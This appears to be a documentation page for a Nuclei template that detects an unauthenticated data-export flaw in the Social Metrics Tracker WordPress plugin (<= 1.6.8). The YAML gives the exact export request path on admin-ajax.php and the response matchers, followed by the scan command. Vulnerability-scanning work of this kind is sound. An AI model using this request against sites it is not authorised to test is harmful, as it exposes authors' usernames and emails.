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Social Metrics Tracker <= 1.6.8 - Unauthorised Data Export

ID: wordpress-social-metrics-tracker

Severity: medium

Author: randomrobbie

Tags: wordpress,wp-plugin,wp,unauth,wpscan

Description

Section titled “Description”

The lack of proper authorisation when exporting data from the plugin could allow unauthenticated users to get information about the posts and page of the blog, including their author’s username and email.

YAML Source

Section titled “YAML Source”
id: wordpress-social-metrics-tracker


info:
  name: Social Metrics Tracker <= 1.6.8 - Unauthorised Data Export
  author: randomrobbie
  severity: medium
  description: |
    The lack of proper authorisation when exporting data from the plugin could allow unauthenticated users to get information about the posts and page of the blog, including their author's username and email.
  reference:
    - https://wpscan.com/vulnerability/f4eed3ba-2746-426f-b030-a8c432defeb2
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,wp,unauth,wpscan


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?page=social-metrics-tracker-export&smt_download_export_file=1"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Main URL to Post"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wordpress-social-metrics-tracker.yaml"

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